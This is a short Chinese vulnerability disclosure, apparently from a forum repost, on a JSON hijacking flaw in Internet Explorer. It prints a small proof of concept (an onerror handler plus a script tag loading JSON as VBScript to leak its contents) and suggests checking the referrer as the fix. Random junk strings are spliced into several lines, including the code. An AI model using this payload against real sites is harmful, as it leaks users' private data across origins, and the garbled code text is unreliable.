IE通用JSON劫持漏洞

admin

简要描述：

由于某些资源容器对数据处理不当导致json劫持漏洞.
* n& S* r/ X# p8 f详细说明：
) q% @& `0 f& ^( z& O" n由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>
! i6 t9 V3 i7 K% [4 H+ D* I3 F, d) A
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
漏洞证明：
<script>
) S3 F% g" h5 {! [- Kwindow.onerror=function(_){
2 M% C+ p7 p3 Z3 t1 X2 P- Qalert(_)
& i8 M# G' Q0 g$ c! K}
</script>
<script language=vbscript src=1.json></script>
3 ]' ?# y* _: G: B) |. t9 p
4 h  t* A! _- l' y  p" [
( p. N- }; o4 z# d$ l: B3 G1.json:
[{"name":"sogili","age":19}]
修复方案：
; h. `5 G0 h" N( x; m+ H5 _网站业务对于这个问题可以通过验证referrer是否为同源来防御